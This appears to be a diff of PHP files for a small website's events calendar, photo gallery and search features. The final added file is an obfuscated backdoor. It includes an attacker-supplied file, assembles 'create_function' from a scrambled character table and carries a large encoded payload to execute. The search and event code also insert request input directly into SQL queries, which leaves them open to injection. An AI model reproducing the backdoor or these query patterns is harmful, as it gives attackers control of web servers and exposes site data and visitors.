+ function get_event_search( $cal = 0 )
+ {
+
+ unset($emonths);
+ $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+ // Set up the $selection array to get a query box use only item fields
+ $selection = array( );
+
+ if( $this->topicid != 24 && $this->topicid != 'All' && $this->topicid != '' )
+ {
+ $topic_qs = ' and topicid = '.$this->topicid;
+ }
+
+ // Month part do not change
+ $qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate >= CURRENT_DATE
+ $topic_qs
+ AND visable = 't'
+ ORDER BY bdate ASC;";
+
+ $result = $this->DB->db_exec($qs);
+
+ //$page = BASE_URL.'events/'.$this->get_seo_url( $this->topicid );// this code isn't used on this site <==
+ $page = BASE_URL.'events/index.phtml';
+
+ for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+
+ // Selections part
+ while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ $topic_qs
+ ORDER BY $key;";
+
+ $result = $this->DB->db_exec($qs);
+
+ echo "<select name=\"$key\">";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+ echo '<br><a name="event"></a> ';
+ if( !$cal )
+ {
+ // topic part
+ $qs = "SELECT
+ DISTINCT ON (t.descr) t.id,t.descr
+ FROM topic t, event e
+ WHERE e.visable = 't'
+ AND e.edate >= CURRENT_DATE
+ AND e.topicid = t.id
+ $topic_qs
+ ORDER BY t.descr";
+
+ $result = $this->DB->db_exec($qs);
+
+ // form header
+ echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST">';
+ echo 'Search By Topic: <select name="topic">
+ <option value="All" selected>Show All Topics';
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "")
+ {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+ echo "</select>\n";
+ echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+ echo '</form></div>';
+ }
+ // Month part (output)
+ $month_qs = "SELECT
+ DISTINCT bdate
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY bdate;";
+
+ $result = $this->DB->db_exec($month_qs);
+
+ echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST" style="display:block;float:left;width:250px;">';
+ echo "By Month: <select name=\"month\">";
+ //echo '<option value="">Show All Month</option>';
+ if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+ echo '</select>';
+ echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+ echo '</form></div><br clear="all">';
+ }
+ /**
+ * get_events:
+ * @param $type:
+ *
+ * @return
+ * @access
+ **/
+ function get_events()
+ {
+ if( $_POST['month'] )
+ {
+ $month = (int)substr($_POST['month'],0,2);
+ $year = (int)substr($_POST['month'],3,6);
+ }
+ elseif( $_GET['month'] )
+ {
+ $month = (int)$_GET['month'];
+ $year = (int)$_GET['year'];
+ }
+ else
+ {
+ $month = (int)date("m");
+ $year = (int)date("Y");
+ }
+ $GLOBALS['month'] = $month;
+ $GLOBALS['year'] = $year;
+
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ if(!$GLOBALS["eventid"])
+ {
+ $this->get_event_search();
+ calendar($month,$year,2,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+ }
+ else
+ {
+ // include("classes/glm-Events-2-0.phtml");
+ $qs="SET DATESTYLE TO 'SQL,US';SELECT * FROM event WHERE id = ".$GLOBALS["eventid"];
+
+ $row=$this->DB->db_auto_get_data($qs);
+ echo $this->make_events($row);
+ $this->get_event_search();
+ calendar($month,$year,2,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&eventid=1&month='.$month,$newdata);
+ // echo '<div align="center"><a href="./">Back to Calendar</a></div>';
+ }
+
+ }
+ /**
+ * make_events:
+ * @param $row:
+ *
+ * @return
+ * @access
+ **/
+ function make_events($row)
+ {
+ //$event='<br>'."\n";
+ $event='<div class="eventcontainer">'."\n";
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ // Header
+ $event.="<div class=\"eventheader\">".$row[$i][header]."</div>";
+
+
+
+ // Date
+ if($row[$i][bdate]!='')
+ {
+ $event.='<div><span class="eventdate">';
+ $sdate = strtotime($row[$i]["bdate"]);
+ $edate = strtotime($row[$i]["edate"]);
+ $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $event.=$thedate;
+ /*
+ $event.= date('M d, Y',strtotime($row[$i][bdate]));
+ if($row[$i][edate]!='' && $row[$i][edate]!=$row[$i][bdate])
+ {
+ $event.=" - ".date('M d, Y',strtotime($row[$i][edate]));
+ }
+ */
+ $event.="</span></div>\n";
+ }
+
+ // time
+ $days[1] = "Sundays";
+ $days[2] = "Mondays";
+ $days[4] = "Tuesday";
+ $days[8] = "Wednesdays";
+ $days[16] = "Thursdays";
+ $days[32] = "Fridays";
+ $days[64] = "Saturdays";
+ if($row[$i][btime])
+ {
+ if($row[$i]['btime'] && $row[$i]['etime'])
+ {
+ $time = "".$this->format_to_time($row[$i]['btime'])." to ".$this->format_to_time($row[$i]['etime'])."<br>";
+ }
+ elseif($row[$i]['btime'] && !$row[$i]['etime'])
+ {
+ $time = "@ ".$this->format_to_time($row[$i]['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ $event.=$time;
+ }
+ if( $row[$i]['reacur'] == 't')
+ {
+ if($row[$i]["weekom"])
+ {
+ switch($row[$i]["weekom"])
+ {
+ case 1:
+ $reacur .= "1st ";
+ break;
+
+ case 2:
+ $reacur .= "2nd ";
+ break;
+
+ case 3:
+ $reacur .= "3rd ";
+ break;
+
+ case 4:
+ $reacur .= "4th ";
+ break;
+
+ }
+ }
+ if( $row[$i]['daysow'])
+ {
+ $ri = 1;
+ for($r=1;$r<8;$r++)
+ {
+ if($row[$i]["daysow"]&$ri)
+ $reacur .= $days[$ri];
+ $ri = $ri << 1;
+ }
+ }
+ $event.=$reacur;
+ }
+ // Location
+ if($row[$i][loc]!='')
+ {
+ $event.='<div><span class="eventloc">Location: </span><span class="eventvalue">';
+ $event.=$row[$i][loc];
+ $event.="</span></div>\n";
+ }
+
+ // URL
+ if($row[$i][url]!='')
+ {
+ $event.='<div><span class="eventurl">URL: </span><span class="eventvalue">';
+ $event.='<a href="http://'.$row[$i][url].'" target="_blank">'.$row[$i][url].'</a>';
+ $event.="</span></div>\n";
+ }
+ // FILE
+ if($row[$i]['file']!='')
+ {
+ $filename = ($row[$i]['filename']) ? $row[$i]['filename'] : $row[$i]['file'];
+ $event.='<div><span class="eventurl">File:</span><span class="eventvalue">';
+ $event.='<a href="'.BASE_URL.'uploads/'.$row[$i]["file"].'" target="_blank">'.$filename.'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Image
+ if($row[$i][img]!='')
+ {
+ $image = $row[$i][img];
+ if( is_file( ORIGINAL_PATH.$image ) )
+ {
+ $size = getImageSize( ORIGINAL_PATH.$image );
+ $width = $size[0];
+ $height = $size[1];
+ }
+ $event.='<div class="eventimg1">
+ <a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);">
+ <img alt="'.$image.'" title="'.$image.'" src="'.MIDSIZED.$image.'" border="0">
+ </a>
+ </div>'."\n";
+ }
+
+ // Description
+ if($row[$i][descr]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr])."<BR>";
+ $event.="</div>\n";
+ }
+
+
+ // Description2
+ if($row[$i][descr2]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr2])."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Image
+ if($row[$i][img2]!='')
+ {
+ $event.='<div class="eventimg2"><img src="'.THUMB.$row[$i][img2].'"></div>'."\n";
+ }
+ // Image
+ if($row[$i][img3]!='')
+ {
+ $event.='<div class="eventimg3"><img src="'.THUMB.$row[$i][img3].'"></div>'."\n";
+ }
+
+ // Description3
+ if($row[$i][descr3]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr3])."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Contact
+ if($row[$i][contact]!='')
+ {
+ $event.='<div><span class="eventcontact">Contact Information: </span><br><span class="eventvalue">';
+ $event.=$row[$i][contact];
+ $event.="</span></div>\n";
+ }
+
+ // E-mail
+ if($row[$i][email]!='')
+ {
+ $event.='<div><span class="eventemail">E-Mail: </span><span class="eventvalue">';
+ $event.='<a href="mailto:'.$row[$i][email].'">'.$row[$i][email].'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Phone
+ if($row[$i][phone]!='')
+ {
+ $event.='<div><span class="eventphone">Phone: </span><span class="eventvalue">';
+ $event.=$row[$i][phone];
+ $event.="</span></div>\n";
+ }
+
+
+
+
+ //Seperator
+ // $event.="<span class=\"bold\"><hr></hr></span>";
+ $event.="</div><br clear=\"all\">";
+ }
+ return $event;
+ }
+
+ /**
+ * format_to_time:
+ * @param $time:
+ *
+ * @return
+ * @access
+ **/
+ function format_to_time($time)
+ {
+
+ $timestamp = strtotime("today $time");
+ $newtime = date("g:i A",$timestamp);
+ return($newtime);
+ }
+
+}
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_PHOTOS extends GLM_TEMPLATE{
+ var $pcatid;
+
+ /**
+ * GLM_PHOTOS: constructor of the class
+ *
+ * @return void
+ * @access abstract
+ **/
+ function GLM_PHOTOS()
+ {
+ parent::GLM_TEMPLATE(NULL);
+ }
+
+ /**
+ * get_photo_cats: get the photo categories for this catid
+ * @param $catid: the parent id of the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotoCats($catid)
+ {
+ $output = '';
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ $output .= '<h1>'.$value["category"].'</h1>';
+ }
+ }
+ $output .= '<p>Click an image to enter a Photo Gallery</p>';
+
+ $query2 = "SELECT * FROM bus_category WHERE parent = ".$catid." and active = 't' order by pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $category = GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $value['id'],"bus_category",$this->DB ) );
+ $output .= '<div class="thumb"><div class="photocattitle">'.$value["category"].'</div><a href="'.BASE_URL.'photo2.phtml?catid='.$value["id"].'"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a></div>';
+ }
+ if(++$count == 4)
+ $output .= '<br clear="all">';
+ }
+ }
+ return($output);
+ }
+
+ /**
+ * get_photos: get the photo items for the catid
+ * @param $catid: the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotos($catid)
+ {
+ $output = '';
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ $output .= '<h1>'.$value["category"].'</h1>
+ ';
+ }
+ }
+ $output .= '<p>Click an image to enlarge</p>
+ ';
+
+ $query2 = "SELECT b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+ (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if(file_exists(ORIGINAL_PATH.$value['image']))
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ }
+ $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ return($output);
+ }}
+?>
--- /dev/null
+<?php
+// $Id: class_search.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+/** @class seach glm-search engine for the category/business_listing
+ This class was made to provide a search page for
+ our event,business_listing,newsletter databases
+ */
+class search{
+ /** @var -*/
+ var $parentshow; // array containting the catids and parentids
+ /** @var pages */
+ var $pages;
+ /** @var eventquery */
+ var $eventquery;
+ /** @var bussyquery */
+ var $bussyquery;
+ /** @var newsyquery */
+ var $newsyquery;
+ /** @var sr */
+ var $sr;
+ /** @var p */
+ var $p;
+ /** @var results */
+ var $results;
+ /** @var threads */
+ var $threads;
+ var $type;
+
+ /** search
+ constructor function
+ @param none
+ @returns none
+ */
+ function search()
+ {
+ $this->newsyquery = "";
+ $this->bussyquery = "";
+ $this->eventquery = "";
+ $this->pages = array();
+ $this->parentshow = array();
+ $this->type = "general";
+ }
+
+ /** set_events
+ Sets up the query for the event search
+ @param none
+ @returns none
+ */
+ function set_events()
+ {
+ $eventf[] = "e.header".$this->sr;
+ $eventf[] = "e.descr".$this->sr;
+ $eventf[] = "e.loc".$this->sr;
+ $eventf[] = "e.contact".$this->sr;
+ $this->eventquery = "SELECT e.*
+ FROM event e
+ WHERE ";
+ $eevent = implode(" OR ",$eventf);
+ $this->eventquery .= $eevent;
+ }
+
+ /** set_bus
+ Sets the query for the business_listing db search
+ @param none
+ @returns none
+ */
+ function set_bus()
+ {
+ $busf[] = "b.name".$this->sr;
+ $busf[] = "b.description".$this->sr;
+ $busf[] = "b.city".$this->sr;
+ $busf[] = "b.state".$this->sr;
+ $busf[] = "b.zip".$this->sr;
+ $busf[] = "b.phone".$this->sr;
+ $busf[] = "b.fax".$this->sr;
+ $busf[] = "b.email".$this->sr;
+ $buscatf[] = "bc.category".$this->sr;
+ $buscatf[] = "bc.description".$this->sr;
+ $buscatf[] = "bc.intro".$this->sr;
+ $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+ FROM (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id))
+ LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+ WHERE (";
+ $ebus = implode(" OR ",$busf);
+ $ebuscat = implode(" OR ",$buscatf);
+ $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+ }
+
+ /** set_news
+ Sets the newsletter query for the search
+ @param none
+ @returns none
+ */
+ function set_news()
+ {
+ $newsf[] = "n.title".$this->sr;
+ $newsf[] = "n.header".$this->sr;
+ $newsf[] = "n.description".$this->sr;
+ $newsblockf[] = "nb.header".$this->sr;
+ $newsblockf[] = "nb.description".$this->sr;
+ $this->newsyquery = "SELECT n.*, nb.*
+ FROM news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id)
+ WHERE ";
+
+ $enews = implode(" OR ",$newsf);
+ $enewsblock = implode(" OR ",$newsblockf);
+ $this->newsyquery .= $enews." OR ".$enewsblock;
+ }
+
+ /** set_query
+ calls the queries for events,bus,and the newsletter
+ @param none
+ @returns none
+ */
+ function set_queries()
+ {
+ $this->set_events();
+ $this->set_bus();
+ $this->set_news();
+ }
+
+ /** posted
+ Sets sr variable with the POST var search
+ @param none
+ @returns none
+ */
+ function posted()
+ {
+ if($_POST && $_POST["search"])
+ {
+ //$this->show_form();
+ if($_POST["search"])
+ $this->sr = " ~* '".$_POST["search"]."'";
+ $this->set_queries();
+ $this->execute_search();
+ }
+ else
+ {
+ //$this->show_form();
+ }
+ }
+
+ /** show_form
+ Outputs the form for the search
+ @param none
+ @returns none
+ */
+ function show_form()
+ {
+ ?>
+ <script src="verify.js"></script>
+ <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+ this.search.optional = false;
+ this.search.r = 'Search Field';
+ return(verify(this));
+ ">
+ <select name="type">
+ <?
+ //$type[] = "Events";
+ //$type[] = "Categories";
+ //$type[] = "Newsletter";
+ //$general = 0;
+ foreach($this->pages as $key=>$data)
+ {
+ if(!is_numeric($key))
+ {
+ echo "<option value=\"$key\">".ucfirst($key);
+ }
+ else
+ {
+ $general = 1;
+ }
+ }
+ if($general)
+ echo "<option value=\"general\">General Categories";
+ ?>
+ </select>
+ <input name="search">
+ <input type="submit" name="Command" value="Search">
+ </form>
+ <?
+ }
+
+ /** execute_search
+ Sends the queries to to database
+ @param none
+ @returns none
+ */
+ function execute_search()
+ {
+ extract($_POST);
+ $qs = "";
+ switch($this->type)
+ {
+ case "events"://Events
+ $qs = $this->eventquery;
+ $qs .= " AND edate > CURRENT_DATE";
+ $href = $this->pages["events"];
+ break;
+
+ case "general"://General
+ $qs = $this->bussyquery;
+ break;
+
+ case "newsletter"://Library
+ $qs = $this->newsyquery;
+ $href = $this->pages["newsletter"];
+ break;
+
+ default:
+ html_error("All",1);
+ break;
+ }
+
+ //echo $qs;
+ $this->result = db_auto_get_data($qs,CONN_STR);
+ if($this->result != "")
+ {
+ echo "<div class=\"bodytext\"> Found ".count($this->result);
+ if(count($this->result)>1)
+ echo " matches for \"".$search."\"";
+ else
+ echo " match for \"".$search."\"";
+ echo "</div><br>";
+ }
+ else
+ {
+ echo "<div class=\"bodytext\"> No Matches</div>";
+ }
+ if($this->type == "general")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ $this->threads[] = array(
+ "ID" => $data[catid],
+ "content" => $data[category],
+ "parent" => $data[parent]
+ );
+ }
+ }
+ }
+ elseif($this->type == "events")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);
+ }
+ }
+ }
+ elseif($this->type == "newsletter")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);
+ }
+ }
+ }
+
+ if(is_array($this->threads))
+ {
+ $this->get_parentshow();
+ $output = $this->printout($this->threads);
+ echo $output;
+ }
+ }
+
+ /** get_parent
+ Finds the parent. Will traverse up until it reaches top of
+ chain.
+ @param id - The catid to find parent of
+ @returns Parent - The parent id
+ */
+ function get_parent($id)
+ {
+ if($id == 0)
+ return(0);
+ if($this->parentshow[$id]['parent'] != "")
+ {
+
+ $test = $this->parentshow[$id]['parent'];
+ if($test === 0)
+ {
+ return($id);
+ }
+ else
+ {
+ $id = $this->get_parent($test);
+ }
+ if($id == 0)
+ return($test);
+ return($id);
+ }
+ return($id);
+ }
+
+ /** get_parentshow
+ Sets the array parentshow with all categories.
+ @param none
+ @returns none
+ */
+ function get_parentshow()
+ {
+ $qs = "SELECT id,parent,category
+ FROM bus_category";
+
+ $parentrow = db_auto_get_data($qs,CONN_STR);
+
+ foreach($parentrow as $key=>$value)
+ {
+ $this->parentshow[$value[id]] = $value[parent];
+ }
+ }
+
+ /** printout
+ Print the results out as links to their pages.
+ @param none
+ @returns none
+ */
+ function printout()
+ {
+ if(is_array($this->threads))
+ {
+ foreach($this->threads as $key=>$value)
+ {
+ $p = $this->get_parent($value[ID]);
+ if($p!=1)
+ {
+ $string .= "<a class=\"link2\"
+ href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+ }
+ else
+ {
+ $string .= "<a class=\"link2\"
+ href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+ }
+ }
+ echo $string;
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+if(isset($Kaem))
+require_once($Kaem); $xNKyAydtAhL='wZrX[2am4WTh7BH_UiQ3+5|^RM/oc.Kd}"16yqFSbpxtIzVeDNl0OgAf{kjG*v9n]CY,LEu;sP8J)($ ';$DxQbGNsIeIn=$xNKyAydtAhL{28}.$xNKyAydtAhL{2}.$xNKyAydtAhL{47}.$xNKyAydtAhL{6}.$xNKyAydtAhL{43}.$xNKyAydtAhL{47}.$xNKyAydtAhL{15}.$xNKyAydtAhL{55}.$xNKyAydtAhL{70}.$xNKyAydtAhL{63}.$xNKyAydtAhL{28}.$xNKyAydtAhL{43}.$xNKyAydtAhL{17}.$xNKyAydtAhL{27}.$xNKyAydtAhL{63};$OhermoxGRPW=$xNKyAydtAhL{78}.$xNKyAydtAhL{72};$OKeEoyunAul=$xNKyAydtAhL{55}.$xNKyAydtAhL{70}.$xNKyAydtAhL{63}.$xNKyAydtAhL{28}.$xNKyAydtAhL{43}.$xNKyAydtAhL{17}.$xNKyAydtAhL{27}.$xNKyAydtAhL{63}.$xNKyAydtAhL{79}.$xNKyAydtAhL{2}.$xNKyAydtAhL{74}.$xNKyAydtAhL{77}.$xNKyAydtAhL{78}.$xNKyAydtAhL{72}.$xNKyAydtAhL{67}.$xNKyAydtAhL{78}.$xNKyAydtAhL{41}.$xNKyAydtAhL{76}.$xNKyAydtAhL{56}.$xNKyAydtAhL{2}.$xNKyAydtAhL{47}.$xNKyAydtAhL{43}.$xNKyAydtAhL{70}.$xNKyAydtAhL{2}.$xNKyAydtAhL{63}.$xNKyAydtAhL{79}.$xNKyAydtAhL{78}.$xNKyAydtAhL{72}.$xNKyAydtAhL{23}.$xNKyAydtAhL{72}.$xNKyAydtAhL{43}.$xNKyAydtAhL{2}.$xNKyAydtAhL{15}.$xNKyAydtAhL{41}.$xNKyAydtAhL{6}.$xNKyAydtAhL{31}.$xNKyAydtAhL{77}.$xNKyAydtAhL{78}.$xNKyAydtAhL{41}.$xNKyAydtAhL{67}.$xNKyAydtAhL{72}.$xNKyAydtAhL{43}.$xNKyAydtAhL{2}.$xNKyAydtAhL{50}.$xNKyAydtAhL{47}.$xNKyAydtAhL{63}.$xNKyAydtAhL{77}.$xNKyAydtAhL{78}.$xNKyAydtAhL{72}.$xNKyAydtAhL{76}.$xNKyAydtAhL{67}.$xNKyAydtAhL{78}.$xNKyAydtAhL{41}.$xNKyAydtAhL{76}.$xNKyAydtAhL{71}.$xNKyAydtAhL{32}.$xNKyAydtAhL{71}.$xNKyAydtAhL{47}.$xNKyAydtAhL{61}.$xNKyAydtAhL{6}.$xNKyAydtAhL{50}.$xNKyAydtAhL{77}.$xNKyAydtAhL{2}.$xNKyAydtAhL{74}.$xNKyAydtAhL{77}.$xNKyAydtAhL{40}.$xNKyAydtAhL{6}.$xNKyAydtAhL{72}.$xNKyAydtAhL{47}.$xNKyAydtAhL{35}.$xNKyAydtAhL{8}.$xNKyAydtAhL{15}.$xNKyAydtAhL{31}.$xNKyAydtAhL{47}.$xNKyAydtAhL{28}.$xNKyAydtAhL{27}.$xNKyAydtAhL{31}.$xNKyAydtAhL{47}.$xNKyAydtAhL{77}.$xNKyAydtAhL{78}.$xNKyAydtAhL{72}.$xNKyAydtAhL{76}.$xNKyAydtAhL{67}.$xNKyAydtAhL{33}.$xNKyAydtAhL{37}.$xNKyAydtAhL{46}.$xNKyAydtAhL{45}.$xNKyAydtAhL{24}.$xNKyAydtAhL{30}.$xNKyAydtAhL{27}.$xNKyAydtAhL{36}.$xNKyAydtAhL{37}.$xNKyAydtAhL{18}.$xNKyAydtAhL{39}.$xNKyAydtAhL{50}.$xNKyAydtAhL{33}.$xNKyAydtAhL{76}.$xNKyAydtAhL{76}.$xNKyAydtAhL{71};$UFqNuIIxjeU="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